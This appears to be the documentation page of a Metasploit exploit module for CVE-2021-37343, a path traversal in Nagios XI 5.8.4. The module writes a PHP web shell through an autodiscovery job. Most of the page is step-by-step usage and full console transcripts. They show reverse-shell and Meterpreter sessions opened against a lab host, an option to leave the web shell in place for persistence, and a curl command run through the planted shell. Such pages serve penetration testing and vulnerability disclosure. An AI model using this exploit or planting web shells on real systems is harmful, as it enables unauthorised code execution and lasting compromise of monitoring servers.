## Vulnerable Application

### Description

This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). The path
traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as
`www-data`. The module achieves this by creating an autodiscovery job with an `id` field containing a
path traversal to a writable and remotely accessible directory, and `custom_ports` field containing
the web shell. A cron file will be created using the attacker's chosen path and name, and the web
shell is embedded in the file.

After the web shell has been written to the victim, this module will then use the webshell to establish
a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the
autodiscovery job is removed as well.

### Installation

The following was tested on Ubuntu 20.04.

* wget https://assets.nagios.com/downloads/nagiosxi/5/xi-5.8.4.tar.gz
* tar -xvf xi-5.8.4.tar.gz
* cd nagiosxi
* sudo ./fullinstall

The installer will spend a good deal of time installing many things. Upon completion, navigate to
the Web UI, accept license agreements, and configure the administrator username and password.

## Verification Steps

* Follow the instructions above to install Nagios XI 5.8.4 on Ubuntu 20.04
* Do: `use exploit/linux/http/nagios_xi_autodiscovery_webshell`
* Do: `set RHOST <ip>`
* Do: `set PASSWORD <password>`
* Do: `check`
* Verify the target is flagged as vulnerable
* Do: `set LHOST <ip>`
* Do: `run`
* You should get a Meterpreter session.

## Options

### TARGETURI

Specifies base URI. The default value is `/nagiosxi`.

### USERNAME

The username to log in to the Nagios XI web interface with. The default is `nagiosadmin`.

### PASSWORD

The password to log in with. Set to `nil` by default.

### DEPTH

The depth of the path traversal. Default is 10.

### WEBSHELL_NAME

Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated.
Set to `nil` by default.

### DELETE_WEBSHELL

Indicates if the web shell should be deleted after the meterpreter session or reverse shell is established.
A user may want to leave behind a web shell for persistence reasons. The default is `true`.

## Scenarios

### Nagios XI 5.8.4 - Get a Meterpreter Session

```
msf > use auxiliary/scanner/http/nagios_xi_scanner
msf auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
PASSWORD => labpass1
msf auxiliary(scanner/http/nagios_xi_scanner) > run

[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.8.4
[+] The target appears to be vulnerable to the following 1 exploit(s):
[*] 
[*] 	CVE-2021-37343    exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > run

[*] Started reverse TCP handler on 10.0.0.3:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Sending stage (989032 bytes) to 10.0.0.6
[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Command Stager progress - 100.00% done (700/700 bytes)
[*] Deleting autodiscovery job
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44224 ) at 2022-02-05 17:53:27 -0800

meterpreter > shell
Process 800816 created.
Channel 1 created.
uname -a
Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
whoami
www-data
pwd
/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp
```

### Nagios XI 5.8.4 - Get a reverse shell

```
msf > use auxiliary/scanner/http/nagios_xi_scanner
msf auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
PASSWORD => labpass1
msf auxiliary(scanner/http/nagios_xi_scanner) > run

[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.8.4
[+] The target appears to be vulnerable to the following 1 exploit(s):
[*] 
[*] 	CVE-2021-37343    exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set target 0
target => 0
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > run

[*] Started reverse double SSL handler on 10.0.0.3:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Executing Unix Command for cmd/unix/reverse_openssl
[*] Deleting autodiscovery job
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo nyjlVFXNgWehsWFs;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "nyjlVFXNgWehsWFs\n"
[*] Matching...
[*] A is input...
[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44226 ) at 2022-02-05 17:56:49 -0800

whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
pwd
/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp
```

### Nagios XI 5.8.4 - Leave a web shell behind

```
msf > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set DELETE_WEBSHELL false
DELETE_WEBSHELL => false
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > set WEBSHELL_NAME lobster.php
WEBSHELL_NAME => lobster.php
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > run

[*] Started reverse TCP handler on 10.0.0.3:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Sending stage (989032 bytes) to 10.0.0.6
[*] Command Stager progress - 100.00% done (700/700 bytes)
[*] Deleting autodiscovery job
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44230 ) at 2022-02-05 18:07:14 -0800

meterpreter > quit
[*] Shutting down Meterpreter...

[*] 10.0.0.6 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(linux/http/nagios_xi_autodiscovery_webshell) > exit
albinolobster@ubuntu:~/metasploit-framework$ curl --insecure https://10.0.0.6/nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php?cmd=id
0 9 * * *	rm -f '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml'; touch '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch'; sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses='127.0.0.1/0' --exclude='' --output='../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml' --watch='/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch' --onlynew=0 --debug=1 --detectos=1 --detecttopo=1   --customports='uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
' > '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.out' 2>&1 & echo $! > /dev/null 2>&1
```
